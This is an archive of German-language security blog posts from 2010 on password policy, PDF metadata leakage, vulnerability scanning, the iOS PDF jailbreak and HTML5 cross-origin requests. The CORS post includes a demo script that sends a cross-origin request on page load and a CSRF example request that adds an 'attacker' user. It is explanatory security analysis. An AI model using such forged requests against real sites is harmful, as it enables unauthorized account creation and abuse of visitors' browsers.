Archiv 2010 • scip AG Labs

Labs: Archiv 2010

Inhaltsverzeichnis

► 03.09.2010 – Gedanken zu “sicheren Passwörtern”

Ein klassischer und gern diskutierter Tipp im Bereich der angewandten Computersicherheit ist der Einsatz sicherer Passwörter. Diese sollen möglichst lang und möglichst komplex sein sowie möglichst oft gewechselt werden.

Das Problem hierbei ist, dass viele Benutzer dieser Kompliziertheit ausweichen möchten. Als zu hoch wird der Aufwand eingeschätzt, den vermeintlich weltfremden Anforderungen der Unternehmensrichtlinien gerecht zu werden. Cormac Herley von Microsoft Research hat dies in seiner Arbeit So Long, And No Thanks for the Externalities: The Rational Rejection of Security Advice by Users wie folgt zusammengefasst (Abstract):

It is often suggested that users are hopelessly lazy and unmotivated on security questions. They chose weak passwords, ignore security warnings, and are oblivious to certificates errors. We argue that users’ rejection of the security advice they receive is entirely rational from an economic perspective. The advice offers to shield them from the direct costs of attacks, but burdens them with far greater indirect costs in the form of effort.

Und in der Tat scheinen gewisse Empfehlungen bezüglich Passwortsicherheit nicht mehr zeitgemäss. Bruteforce-Attacken gelten nicht mehr als die grösste Gefahr. Slowdown- und Lockout-Mechanismen machen sie sehr träge oder verunmöglichen sie gar, wie im Dokument Do Strong Web Passwords Accomplish Anything? beschrieben wird (Absatz 2.1):

To consider a concrete example, if a bank allows only 6 digits PINs (a relatively weak password) and locks an account for 24 hours after three attemps an attacker could search 3 × 365 × 10=1e6 ≈ 0.011 or 1% of the key-space in 10 years. This seems like a small risk. Further, the ratio of unsuccessful to successful logins would be huge and hence easily detected; in reality this is a very loose upper bound on the risk of a brute-force break-in on a single account protected with a 6 digit PIN (or equivalent).

Und strenge Passwörter helfen jedoch nicht gegen Trojanische Pferde (Sniffing und Keylogger). Und das sind gegenwärtig die grössten Probleme, denen die jeweiligen Benutzer ausgesetzt sind (Absatz 2):

There is little benefit in a strong password since phishing and keylogging are the main threats to a user’s password and even a weak password will withstand ten years of sustained brute-force attack on an account (...)

Die Passwortrichtlinie sollte deshalb lediglich grundlegende Voraussetzungen schaffen, um rudimentäre Attacken unattraktiv gestaltet zu lassen – Ohne dabei den Komfort der Nutzung durch legitime Anwender unwillentlich zu zerstören. Minimale Anforderungen an ein sicheres System sind damit:

ID	Passwortwahl	Bruteforce	Trojaner
1.	Minimale Passwortlänge (6 Zeichen)	Prävention	–
2.	Keine Namen/Worte	Prävention	–
3.	Keine reinen Zahlenwerte	Prävention	–
	Passwortverwaltung
4.	Keine mehrfache Nutzung von Passwörtern	Prävention	Prävention
5.	Ändern des Passworts (z.B. nach 180 Tagen)	Prävention	Reaktion
6.	Sperren inaktiver Konten (z.B. nach 30 Tagen)	Prävention	Prävention
7.	Keine geteilten Passwörter in Gruppen	–	Prävention
	Analyse und Prävention
8.	Temporärer Lockout des Accounts (z.B. nach 5 Fehlversuchen)	Prävention	–
9.	Logging/Monitoring von Zugriffen	Reaktion	Reaktion
10.	Binding von Quell-IP-Adressen	–	Reaktion

Marc Ruef

► 01.09.2010 – Konferenzvorschau: SOURCE Barcelona

Die SOURCE Barcelona, die dieses Jahr bereits zum zweiten Mal stattfindet, hat ihre Wurzeln in Boston. Als bewusst kompakt gehaltene Konferenz verfolgt sie das Ziel, in einem angenehmen Rahmen technische und businessrelevante Themen zu betrachten. Neben einem ansprechenden Programm kann die Veranstaltung dabei mit einer spektakulären Location, dem Museu Nacional d’Art de Catalunya mit Blick über ganz Barcelona, aufwarten.

Weitere Informationen zur Konferenz sind auf der offiziellen Webseite zu finden. Die Organisatorin, Stacy Thayer, spricht ausserdem in Episode 9 des Eurotrash microTRASH ausführlich über die Konferenz und deren Hintergründe.

Liste der Talks:

William Beer, PricewaterhouseCoopers:
Keynote – Revolution or Evolution: Information Security 2020
Philippe Langlois, P1 Security:
SCCP hacking, Attacking the SS7 & SIGTRAN – Applications One Step Further and Mapping the Phone System (frühere Aufzeichnung verfügbar: 26C3)
Allison Miller, Paypal, Alex Hutton, Verizon Business:
Applied Threat Modeling — Live
Chris Brown, Netwitness:
Security Sucks
Brian Honan:
Implementing a CSIRT – Lessons Learnt from Setting Up the Irish CERT
Alexandr Polyakov, Ilya Medvedovskiy, Digital Security:
ERP Security: Myths, Problems, Solutions
Matt Bartoldus, Gotham Digital Science:
Security in the SDLC: It Doesn’t Have to be Painful
Carric Dooley, Foundstone, Simon Roses Femerling, Microsoft:
Passwords in Corporate Networks
Richard Stiennon:
Mounting an effective cyber defense: countering targeted attacks
Wim Remes, Ernst & Young:
10 Things You’re Doing Wrong With SIEM
Amrit Williams, BigFix:
PC Hypervisors; Own the OS
Josh Abraham, Will Vandevanter, Rapid7
Hacking SAP BusinessObjects
Erin Jacobs, IOActive:
The Social Geeks Old and New Methods for Career Enhancement in the Security Industry
Josh Pennell, IOActive:
Smart Grid Security
Barnaby Jack, IOActive:
Jackpotting Automated Teller Machines (frühere Aufzeichnung verfügbar: BH10)
Andrew Hay, 451 Group; Chris Nickerson, Lares Security:
Building Bridges: Forcing Hackers and Business to “Hug it Out”
Bruno Oliveira, Jibran Ilyas, Trustwave:
If Black Hats always win, why is Albert Gonzalez in prison?
Sebastian Hahn:
Anonymity, Privacy, and Circumvention with Tor in the Real World
Iftach Ian Amit:
Cyber[Crime|War] – Connecting the Dots (Spain) (Info zum Talk verfügbar in Eurotrash microTRASH Episode 10)
Unbekannter Speaker:
Leveraging Social Networking While Mitigating Risk
Val Smith:
Balancing the Pwn Trade Deficit
Jayson E Street, Stratagem 1:
“Stratagem 1” Deceiving the heavens to cross the sea (Using the 36 Stratagems for Social Engineering)
Vincenzo Iozzo, zynamics and qitsu & Giovanni Gola, qitsu:
Zen and The Art of Privacy Maintenance

Die scip AG wird an der SOURCE Barcelona anwesend sein und freut sich auf eine angenehme Konferenz.

Stefan Friedli

► 27.08.2010 – Blog Digest August 2010

15 Great Ways to Secure Your Website (17.08.2010), Justin Stravarius, web.appstorm.net
Access Controls for Network Infrastructure, (Thu, Aug 5th) (06.08.2010), isc.sans.org
Analysis of using CPE for Nmap OS signatures (07.08.2010), seclists.org
Anti-virus Products Mostly Ignore Windows Security Features (03.08.2010), Brian Krebs
Blog Post: Painting by Numbers (09.08.2010), mmpc, blogs.technet.com
Citi iPhone banking app contains security flaw (27.07.2010), Graham Cluley, Sophos, sophos.com
Corporate Identity Theft Used to Obtain Code Signing Certificate (25.08.2010), f-secure.com
Details of 100 million Facebook users were already exposed on the net (29.07.2010), Graham Cluley, Sophos, sophos.com
How large is a piece of Malware? (27.07.2010), Robert, SophosLabs CA, sophos.com
How Secure Is A Password? (11.08.2010), Martin, ghacks.net
How to Hire a Hacker (16.08.2010), Stefan Friedli, stfn.ch
Image Spam (16.08.2010), Marissa Vicario, symantec.com
Intel Should Not Consummate McAfee Acquisition (19.08.2010), Richard Stiennon, blogs.forbes.com
It’s not what you write, but the words you use (19.08.2010), Fraser Howard, SophosLabs UK, sophos.com
JailbreakMe: Security warning for iPhone and iPad owners (04.08.2010), Graham Cluley, Sophos, sophos.com
Linux distribution popularity trends plotted (20.08.2010), LinuxTrends, linuxtrends.com
Nmap favicon visualization (17.08.2010), seclists.org
Passwords in the wild, part I: the gap between theory and implementation (27.07.2010), Joseph Bonneau, lightbluetouchpaper.org
Playing in the Chrome Sandbox (13.08.2010), google.com
Potential Evasion Where IPS Fails to Validate TCP Checksums (31.07.2010), Judy Novak, packetstan.com
Redesigning the Credential Cracking Strategy (18.08.2010), todb
Return of the Facebook Snatchers (27.07.2010), Ron Bowes, skullsecurity.org
Russia’s FSB Receives Decrypted BlackBerry Messages From Mobile TeleSystems (16.08.2010), Jeffrey Carr, blogs.forbes.com
Security Analysis of Smudges on Smart Phone Touch Screens (12.08.2010), Bruce Schneier, schneier.com
Snooping on Dot Matrix Printers (14.08.2010), Moonraker069
Technical Analysis on iPhone Jailbreaking (06.08.2010), Matt Oh, community.websense.com
The Nine Circles of Responsible Vulnerability Disclosure Hell (23.08.2010), Stefan, stfn.ch
Trends in Malware and Phishing (25.08.2010), Avira GmbH, techblog.avira.com
Trojan horse suspected of contributing to 2008 Madrid aircrash (20.08.2010), Graham Cluley, Sophos, sophos.com
UAE to Ban BlackBerrys (03.08.2010), schneier, schneier.com
UAE to block the Blackberry? (01.08.2010), Mike Halsey, ghacks.net
W32.Changeup: Visual Basic Polymorphic Code Uncovered (28.07.2010), Takayoshi Nakayama, symantec.com
Who is Writing the Viruses? (04.08.2010), Randy Abrams, blog.eset.com
Windows LAN Addressing Validation (and a Scapy lesson) (16.08.2010), Joshua Wright, packetstan.com
Wordle: Words Used by Major Spam Sending Botnets (30.07.2010), Marissa Vicario, symantec.com
Zurich Insurance slammed with 2.28 million fine for losing customer data (24.08.2010), Graham Cluley, Sophos, sophos.com

Marc Ruef

► 20.08.2010 – Statistik zum Author-Feld in PDF-Dokumenten

Viele moderne Dokumentformate unterstützen Meta-Daten, in denen unabhängig vom eigentlichen Inhalt zusätzliche Informationen abgelegt werden. Dies kann zum Beispiel bei Office-Dokumenten und verschiedenen Bild-Formaten (siehe Exif-Standard) beobachtet werden.

In gleicher Weise wird bei PDF-Dokumenten verfahren. Wie wir im Beitrag PDF Document Properties Parsing Probleme beschrieben haben, ist es aufgrund unterschiedlicher Formatstrukturen nicht so einfach, die jeweiligen Informationen auslesen zu lassen. Im Beitrag Automatisiertes Document Properties Profiling haben wir gezeigt, wie sich durch Skripte unterschiedliche Seiten – in diesem Fall von amerikanischen Nachrichtendiensten – auswerten lassen.

Wir haben in verschiedenen Kundenprojekten derlei Auswertungen umgesetzt. Dabei haben wir nun über sämtliche Projekte hinweg eine Auswertung angegangen, welche Arten von Informationen in der Regel im Feld Author gespeichert wird. Wir unterscheiden zwischen diesen fünf Informationstypen:

Benutzernamen (z.B. hamu, administrator)
Realnamen (z.B. Hans Muster, H. Muster)
Funktionsnamen (z.B. Human Resources)
Unternehmen (z.B. Firma X)
Andere (unbekannte Zeichenketten)

Nachfolgendes Diagramm illustriert das Resultat dieser Auswertungen:

Informationstypen im Feld Author in PDF-Dokumenten

In den meisten Fällen werden Usernamen verwendet (41.63%). Diese stellen die grösste Gefahr dar, da durch ihr Wissen technische Attacken, vorzugsweise Bruteforce-Angriffe, angestrebt werden können. An zweiter Stelle folgen Realnamen (15.17%). Diese sind ebenfalls kritisch, da sich durch sie Mitarbeiter identifizieren und Benutzernamen ableiten lassen. Derlei Informationen können beispielsweise für Social Engineering-Angriffe herhalten.

An dritter Stelle folgen Funktionsnamen (8.75%). Diese sind weniger kritisch, können aber Aufschluss über den Aufbau und die Prozesse eines Unternehmens gewähren. Und an vierter Stelle folgen Firmennamen (1.55%). Dies kann der Name des Zielunternehmens selbst, aber auch Namen von Partnerfirmen sein. Auch mit diesen Informationen lassen sich bisweilen Social Engineering-Zugriffe optimieren.

Die restlichen Findings können keiner dieser Kategorien zugeordnet werden (32.87%). Entweder handelt es sich um Kürzel, die nicht mit Benutzernamen oder Realnamen in Verbindung gebracht werden können. Oder es sind allgemeine Informationen, die weder mit dem Zielunternehmen noch seien Mitarbeitern in Verbindung gebracht werden können.

A-PDF löscht die Document Properties

Diese Analyse zeigt auf, dass sich das Auswerten von Dokumenteneigenschaften durchaus lohnen können. Die Awareness der Unternehmen bezüglich dieses Risikos ist noch nicht gefestigt und lässt damit so manche Angriffsmöglichkeit optimieren. Es ist angeraten, einen Prozess zu etablieren, der sich mit dem Säubern von Dokumenten auseinandersetzt, um keine sensitiven Informationen preisgeben zu lassen.

Marc Ruef

► 13.08.2010 – Vulnerability Scan – Qualität und Evaluation

Die scip AG bietet verschiedene Dienstleistungen an. Ein zentraler Bereich besteht im Auditing, bei dem (technische) Sicherheitsüberprüfungen aller Art durchgeführt werden. Eines der beliebtesten Module seit jeher sind Security Scans, bei denen die Sicherheit eines Netzwerksystems über das Netzwerk/Internet identifiziert wird.

Eine Sicherheitsanalyse auf dieser Ebene wird als klassisch verstanden, da sie mit Produkten wie SATAN, Nessus und Qualys schon in einer sehr frühen Phase der angewandten Computersicherheit industrialisiert wurde. Weltweit werden tagtäglich eine Vielzahl solcher Überprüfungen durchgeführt. Dennoch ist es für viele Kunden noch immer schwierig zu verstehen, was einen guten Vulnerability Scan ausmacht. Für uns sind die folgenden Eigenschaften einer solchen Arbeit von Wichtigkeit:

Professionelle Zusammenarbeit: Ein Projekt muss zu jedem Zeitpunkt professionell umgesetzt werden. Dies beginnt bei einer klaren Zieldefinition innerhalb der Offerte, die auf der Basis der Erfahrungen des Auditors zusammen mit dem Kunden erarbeitet werden soll. Darauf folgen eine umfassende Kickoff-Besprechung, in der klare Abmachungen (z.B. Testzeiten, Ansprechpartner, Eskalationsprozesse) definiert werden. Durch eine An-/Abmeldung bei Zugriffen wird stetige Transparenz geschaffen. Und mit einer Einigung auf die Ausrichtung und Struktur des Reportdokuments können die jeweiligen Bedürfnisse berücksichtigt werden. Eine Sicherheitsüberprüfung ist stets eine Zusammenarbeit aller Beteiligten und nur als solche erfolgreich durchzuführen.

Schnelle Durchführung: Eine Sicherheitsüberprüfung sollte stets schnell durchgeführt werden und dementsprechend wenig kosten. Eine Optimierung dieser Art bedingt, dass einerseits die richtigen Software-Tools eingesetzt werden und dass andererseits die Auditoren ein umfassend abgestütztes Fachwissen mitbringen. Geschwindigkeit geht irgendwann zwangsweise auf Kosten von Genauigkeit und Zuverlässigkeit. Ein wirtschaftlich und wissenschaftlich vertretbares Mittelmass, das zu jedem Zeitpunkt nachvollzogen werden kann, sollte angestrebt werden.

Akkurate Resultate: Eine Sicherheitsüberprüfung sollte möglichst exakte Resultate liefern können. Durch das Optimieren der Tests sollten sich nach Möglichkeiten False-Positives und False-Negatives verhindern lassen. Ohne eine solche Genauigkeit wird in einem späteren Schritt nur unnötiger Aufwand generiert, der den wirklich wichtigen Aspekten Ressourcen stiehlt (querprüfen statt lösen). Das Erhöhen der Genauigkeit ist in manchen Fällen oder ab einem gewissen Zeitpunkt jedoch nur noch auf Kosten der Geschwindigkeit möglich.

Aktuelle Schwachstellen berücksichtigen: Eine Sicherheitsüberprüfung sollte stets aktuelle und damit sehr junge Schwachstellen mitberücksichtigen. Dadurch kann das Zeitfenster für eine Verwundbarkeit innerhalb des Sicherheitsprozess minimiert werden. Oftmals fehlen technische Details zu neuen Advisories (Non-Disclosure) und so liegt es in der Kompetenz der Auditoren, im Rahmen eigener Forschungsarbeiten selber die technischen Hintergründe einzugrenzen oder gar eigene 0-Day Exploits zu finden. Ältere Schwachstellen dürfen jedoch nicht zu deren Gunsten vernachlässigt oder gar übergangen werden.

Modulare Überprüfungen: Eine Sicherheitsüberprüfung sollte in modulare Unterschritte, die sich möglichst autonom und unabhängig voneinander angehen lassen, aufgeteilt werden können. Dadurch werden Parallelisierungen (erhöht die Ausführungsgeschwindigkeit) und direkte Tests ohne lange Vorlaufzeiten (erhöht die projekttechnische Flexibilität) möglich.

Standardisiertes Vorgehen: Eine Sicherheitsüberprüfung, die mit den gleichen Parametern durchgeführt wird, sollte stets die gleichen Resultate zu liefern in der Lage sein. Und dies unabhängig vom Auditor, der die Analyse durchführt. Eine klare Vorgehensweise, die durch eine Checkliste und Prozessabläufe gestützt werden können, muss vorgängig definiert sein. Ein standardisiertes Vorgehen sollte jedoch nie auf Kosten von möglicher Flexibilität (z.B. bei 0-Day Exploits) durchgesetzt werden.

Vergleichbare Daten: Eine Sicherheitsüberprüfung sollte Resultate erlangen lassen, die sich mit Resultaten anderer Prüfungen (Zeitpunkt, Projekt, Umgebung, Kunde, etc.) vergleichen lassen. Dadurch wird ein Benchmarking sowie Trendanalysen, dies interessiert längerfristig sowohl Technik als auch Management, ermöglicht.

Umfassende Dokumentation: Eine Sicherheitsüberprüfung sollte mit allen Details sämtliche Voraussetzungen, Ausführungen und Resultate dokumentieren. Dadurch wird es möglich, dass zu jedem Zeitpunkt – auch in undefinierter Zukunft – der bestehende Sachverhalt klar erfasst und nachvollzogen werden kann. Missverständnissen und fehlenden Einsichten können mit dieser Transparenz entgegengetreten werden.

Statistische Auswertungen: Eine Sicherheitsüberprüfung sollte Resultate bereitstellen können, die sich einer statistischen Auswertung unterziehen lassen. Dadurch können besonders exponierte, kritische oder verwundbare Bereiche identifiziert und mit entsprechender Priorität angegangen werden. Das Weiterführen des Sicherheitsprozesses wird damit optimiert und beschleunigt.

Wiederverwendbarkeit von Daten: Eine Sicherheitsüberprüfung sollte Resultate bereitstellen können, die sich im Rahmen weiterer Untersuchungen oder einer erneuten Prüfung wiederverwenden lassen können. Dadurch werden Delta- und Trendanalysen möglich. Auch dies sind Informationen, die langfristig sowohl Technik als auch Management interessieren.

Es gibt keine Werkzeuge und Tools auf dem Markt, die sämtliche Anforderungen erfüllen können. Dies erschwert selbst das Zusammenstellen eines eigenen Framesets auf dieser Ebene. Die Qualität einer Prüfung lässt sich also aus Sicht der Auditoren nicht nur mit technischen Hilfsmitteln anstreben. Hier müssen ebenfalls organisatorische und konzeptionelle Definitionen eingebracht und langfristig erarbeitet werden. Auch in diesem Fall gilt also das klassische Zitat von Bruce Schneier (leicht abgeändert):

Sicherheit[süberprüfungen] sind ein Prozess, kein Produkt.

Aus Kundensicht ist damit die Evaluation des richtigen Partners für einen Vulnerability Scan ein zentraler Bestandteil, um die gewünschte Qualität der Prüfungen gewährleisten zu können. Es gibt verschiedene Eigenschaften, die eine solche Prüfung mit sich bringt kann. Jenachdem sind für gewisse Unternehmen und Projekte unterschiedliche Eigenschaften von höherer Wichtigkeit (z.B. Geld spielt keine Rolle!). Die Definition eines klaren Anforderungskatalogs kann auch hier dabei helfen, eine solide Auswahl durchzusetzen und damit die Zusammenarbeit mit einem möglichst wertvollen Partner anzugehen.

Wir empfehlen in jedem Fall, dass man mit dem gewünschten Partner über die jeweiligen Ansichten und Strategien diskutiert. In manchem Fällen gibt es ein allgemeines Richtig oder Falsch (z.B. Transparenz ist immer richtig). In anderen Fällen gibt es hingegen kein solches Schwarz-/Weiss-Denken (z.B. Was bringt mehr Sicherheit: Löschen oder Verändern von Applikationsbannern). Unterschiedliche Situationen erfordern sodann oftmals unterschiedliche Herangehensweisen, wobei gerne auch verschiedene Wege zum Ziel führen.

Marc Ruef

► 05.08.2010 – iPhone iOS4 Jailbreak und seine Folgen

Mit einem Jailbreak wird ein iPhone oder iPad entsperrt. Durch die damit gewonnene Offenheit wird es möglich, eigene Software auf dem Gerät laufen zu lassen. Dies wird durch Entwickler und Software-Piraten mitunter genutzt, um das Mobiltelefon um zusätzliche Applikationen zu erweitern. Das Entsperren eines Geräts erfordert traditionell das Verbinden zu einem Rechner, um die eigene Software einzuspielen.

Ein Jailbreak über die Webseite

Seit wenigen Tagen wird auf der Webseite jailbreakme.com erstmals ein Jailbreak angeboten, der sich online durchführen lässt. Lange wurde gerätselt, ob und wie dieser für iOS 3.x und 4.x funktioniert. Erste Vermutungen legten nahe, dass hierbei eine kritische Schwachstelle in Safari, dem integrierten Webbrowser, ausgenutzt wird.

Weitere Forschungen haben jedoch aufgezeigt, dass hierbei ein Exploit bei der Interpretation von PDF-Dateien (ein Pufferüberlauf in Bezug auf Schriftarten; Adobe verweist beim Problem auf den betroffenen ISO-Standard) angewendet wird:

Die für den Jailbreak ausgenutzte Sicherheitslücke befindet sich nicht wie zunächst gemeldet im Safari-Browser sondern in einer Komponente zur Anzeige von PDFs. Die Web-Seite ermittelt zunächst mit diversen Tricks., mit welchem Gerät sie es zu tun hat und lädt dann eine passende PDF-Datei.

Diese Schwachstelle ist generell für die Sicherheit von iPhone und iPad, die sich zunehmend in Unternehmen verbreiten, interessant. Einmal mehr wird nämlich damit aufgezeigt, dass sich ein entsprechendes Gerät auf der Systemebene kompromittieren lässt (siehe Tabelle). Kann durch den Jailbreak eigene Software aufgespielt werden, lässt sich durch den Exploit ebenso eigener Programmcode ausführen.

ID	Schwachstelle	Datum	Firmware
4015	SMS Message Decoding	03.08.2009	bis 3.0.0
3387	TIFF Image Processing	12.10.2007	bis 1.1.1
3341	tel:// Protocol Handler	28.09.2007	bis 1.0.3

Eine Manipulation des Geräts ist damit möglich, wodurch die Integrität dessen nicht mehr gewährleistet werden kann. Der Grund liegt darin, dass die Interpretation von PDF-Dokumenten durch Betriebssystem selbst umgesetzt und damit erhöhte Privilegien vererbt werden. Klassische Angriffsszenarien auf Computersysteme sind damit auch auf die Apple-Geräte möglich:

Diebstahl/Mitlesen von Daten
Manipulation von Daten
Löschen/Zerstören von Daten

Dies beweist einmal mehr, dass mobile Geräte – allen voran das iPhone – nicht per se sicher sind. Durch neue Schwachstellen, spätestens bei solchen in Kernkomponenten, wird es immerwieder möglich werden, Geräte zu übernehmen. Ein Angriff kann dabei sowohl als Drive-By Infection per Web, Email-Attachment, oder MMS geschehen. Werden auf diesen kritische Daten und Zugriffe gespeichert, kommt dies jenachdem einer Kompromittierung eines Computersystems oder Laptops gleich. Dieses Risiko und die damit verbundene Tragweite ist durch die umfangreiche Berichterstattung mittlerweile auch in die Tagesmedien vorgedrungen. Verschiedene Institutionen weisen zur Zeit auf die akuten Risiken hin.

Update 11. August 2010

Apple veröffentlicht nach rund zwei Wochen den Emergency-Patch HT4291 als iOS 4.0.2, welcher das FreeType-Problem (CVE-2010-1797) auf dem iPhone und iPod (nicht jedoch auf dem iPad) beheben soll.

Marc Ruef

► 30.07.2010 – Blog Digest Juli 2010

10 Devices Attackers May Think About Attacking (21.07.2010), Paul Asadoorian, blog.tenablesecurity.com
CAPTCHAs – breaking into the shadow economy (15.07.2010), MarissaVicario, symantec.com
Citi iPhone banking app contains security flaw (27.07.2010), Graham Cluley, Sophos, sophos.com
Data at Rest vs. Data in Motion (30.06.2010), Bruce Schneier, schneier.com
DEP / ASLR Neglected in Popular Programs (03.07.2010), secunia.com
Do you reuse your passwords? (26.07.2010), f-secure.com
How large is a piece of Malware? (27.07.2010), Robert, SophosLabs CA, sophos.com
Introducing Adobe Reader Protected Mode (20.07.2010), Brad Arkin, blogs.adobe.com
Linux 2.4/2.6 Kernel Off-by-one TCP Timestamp Issue and Potential IDS/IPS Evasion (14.07.2010), Judy Novak, packetstan.com
Metasploit’s New GUI (15.07.2010), Carlos Perez, pauldotcom.com
Out of Office (30.06.2010), Roger, google.com
Passwords in the wild, part I: the gap between theory and implementation (27.07.2010), Joseph Bonneau, lightbluetouchpaper.org
Plugin Highlight – Web Application Tests : Load Estimation (ID 33817) (26.07.2010), Paul Davis, blog.tenablesecurity.com
Rebooting Responsible Disclosure: a focus on protecting end users (20.07.2010), Jay, google.com
Return of the Facebook Snatchers (27.07.2010), Ron Bowes, skullsecurity.org
Snake-oil security claims on crypto security product (19.07.2010), naif, infosecurity.ch
Social Engineering and Body Language (26.07.2010), xyberpix, blogs.securiteam.com
The Threat of Cyberwar Has Been Grossly Exaggerated (07.07.2010), Bruce Schneier, schneier.com
The War That We Don’t Recognize Is The War We Lose (13.07.2010), Jeffrey Carr, blogs.forbes.com
UTwitter: your secret spy? (17.07.2010), Francisco Amato, blog.infobytesec.com
W32.Changeup: Visual Basic Polymorphic Code Uncovered (28.07.2010), Takayoshi Nakayama, symantec.com
Why Is Free Vuln Disclosure so Damn Difficult? (29.06.2010), Aviram, blogs.securiteam.com
Why Steal Digital Certificates? (23.07.2010), Randy Abrams, blog.eset.com
Writing Fuzzable Code (07.07.2010), sdl, blogs.msdn.com
Youtube Adds HTML5 Embedding To Videos (25.07.2010), Martin, ghacks.net
HTML5, Local Storage, and XSS (13.07.2010), ShadowHider, hi.baidu.com

Marc Ruef

► 23.07.2010 – HTML5 Cross Origin Request Sicherheit

Die Weiterentwicklung der modernen Informationsgesellschaft schafft stetig neue Anforderungen an das Internet. Als Folge davon werden fortwährend neue Standards geschaffen und bestehende Technologien weiterentwickelt. Als Kernbestandteil des modernen World Wide Web gilt die Seitenbeschreibungssprache HTML. Gegenwärtig wird die Entwicklung von HTML5 vorangetrieben. Populäre Webseiten wie YouTube versuchen das proprietäre Flash durch die neuen Multimedia-Funktionen von HTML5 abzulösen und verhelfen so früher oder später der neuen Version zum breitflächigen Durchbruch.

Gegenwärtig ist der siebte Arbeitsentwurf herausgegeben worden. Noch nicht alle Webbrowser unterstützen die jeweiligen Spezifikationen. Es ist jedoch absehbar, dass so manches neue Feature schnellstmöglich implementiert werden will, um die Reichhaltigkeit des World Wide Web vorantreiben zu können.

Eine der zentralen Funktionen von HTML5 ist Cross Origin Request und erweitert die Möglichkeiten des Browsers, Ajax-ähnliche Zugriffe domänenübergreifend durchzuführen. Die traditionelle Same Origin Policy sah vor, dass mit Javascript umgesetzte HTTP-Anfragen nur für jene Domain umgesetzt werden kann, von der das Javascript-Dokument geladen wurde. Mit COR können nun auch HTTP-Anfragen für gänzlich andere Webseiten durchgeführt werden. Die Vernetzung unterschiedlicher Angebote wird damit vorangetrieben:

Web application technologies commonly apply same-origin restrictions to network requests. These restrictions prevent a (client-side) Web application running from one origin from obtaining data retrieved from another origin, and also limit the amount of unsafe HTTP requests that can be automatically launched toward destinations that differ from the running application’s origin.

Vielerorts wird die Sicherheit von COR rege diskutiert. Die Diskussionen fokussieren sich dabei jedoch auf die Sicht der Webentwickler und Webadministratoren. COR-Rückantworten können durch den Browser nur dann angesteuert werden, wenn der Server in seiner Rückantwort die Header-Zeile Access-Control-Allow-Origin mitschickt, wobei als Parameter das Quellsystem angegeben werden muss. Beispiel PHP:

header('Access-Control-Allow-Origin: http://www.scip.ch/demo/cor/*');
echo 'This is a successful cor response.';

Als Hauptrisiko hiervon wird vorgetragen, dass freizügige Zugriffsmöglichkeiten (z.B. mit dem Wildcard-Zeichen *) zu unerwünschten Datenabfragen führen können.

Unseres Erachtens ist dieses Risiko im Verhältnis vernachlässigbar. Die Webapplikation sollte sowieso eine umfassende Prüfung durchführen, ob das Quellsystem den gewünschten Datenzugriff durchführen darf. Authentisierung und Session-Management sind nach wie vor erforderlich und können durch den Access-Control Header nur bedingt ersetzt – stattdessen aber ergänzt – werden.

Das grössere Problem von COR ist jedoch die Möglichkeit von Webadministratoren, dass diese Webbrowser zu automatisierten Zugriffen auf anderen Webseiten zwingen können. Durch den Besuch einer vermeintlich legitimen Webseite kann ohne Probleme eine Cross Site Request Forgery durchgesetzt werden. Nachfolgendes Javascript-Snipplet kann in onload aufgerufen werden, um automatisch eine weiterführende Anfrage durchzusetzen:

function req(){
	var cor;
	if(window.XDomainRequest){
	    cor = new XDomainRequest();
	    if(cor){
	        cor.onload = function(){
			alert(cor.responseText);
	        }
	    }else{
		alert('Your Browser does not support Cross Origin Request');
	    }
	}else{
	    cor = new XMLHttpRequest();
	    cor.onreadystatechange = function(){
	        if(cor.readyState == 4){
	            alert(cor.responseText);
	        }
	    }
	}
	cor.open('GET', 'http://www.scip.ch/labs/demos/cor/cor.php');
	cor.send();
}

Sieht die aufgerufene Ressource – in diesem Fall http://www.scip.ch/labs/demos/cor/cor.php – keinen Zugriff durch die Freigabe über Access-Control-Allow-Origin zu, dann kann zwar der Browser nicht auf die in cor.responseText vorgesehene Antwort zugreifen. Die Anfrage selbst wird aber in jedem Fall, wird COR denn durch den Browser unterstützt, umgesetzt. Es gibt eine Vielzahl an Angriffsszenarien, die mit diesen Möglichkeiten realisiert werden können (sie betreffen Teilweise auch SOP):

CSRF: Mit einer Cross Site Request Forgery wird eine Anfrage umgesetzt, die eine Manipulation einer Ressource vorzunehmen in der Lage ist. Zum Beispiel, indem ein Zugriff auf die Datei /adduser.php?u=attacker&p=1234 einer Webseite vorgenommen wird.
Bruteforce: Mit einer Aneinanderreihung von Anfragen kann eine Bruteforce-Attacke auf eine Ressource vorgenommen werden.
Infektion: Durch den Aufruf unsicherer Skripte lassen sich Infektionen durch Würmer vorantreiben. Diese wird dann nicht mehr durch die infizierten Server selbst initiiert, sondern durch die Besucher der Seiten. Die wahre Quelle einer Infektion wird dadurch schwierig identifizierbar.
Flooding: Wenn eine Vielzahl an Benutzern für Anfragen eingespannt werden, lässt sich eine webbasierte Distributed Denial of Service-Attacke (DDoS) realisieren.
Tracking: Indem ein Pinging im Hintergrund umgesetzt wird, kann das Tracking eines Benutzers im Sinn eines Webbugs realisiert werden (siehe Facebook Like Button Tracking).
Header-Injection: Durch das Injizieren des jeweiligen Headers besteht die Möglichkeit, die Limitierungen des Browsers zu umgehen. (Danke an @x3l_ch)

Wir empfehlen dem HTML5-Gremium, die Legitimität der COR-Zugriffe nicht erst durch die angefragte Ressource bestimmen und danach durch den Client anhand der Rückantwort limitieren zu lassen. Stattdessen sollte schon vor dem Zugriff eine Einschränkung durchgesetzt werden. Und genau hier täte es eigentlich aus Sicht der Sicherheit gut, bei der klassischen Same Origin Policy zu bleiben – Stattdessen wird jedoch die Browser-Sicherheit den technischen Möglichkeiten von COR geopfert.

Die Benutzer haben das Nachsehen, sind sie denn in erster Linie auf die Sicherheitsmechanismen der Browserhersteller angewiesen. Es ist zu hoffen, dass die Browserentwickler darum bemüht sind, dass sich granulare Einstellungen in der Konfiguration des Webbrowsers vornehmen lassen, um Ressourcen dediziert Sperren oder eine manuelle Freigabe angehen zu können.

Marc Ruef

► 15.07.2010 – Das iPhone im Unternehmensumfeld

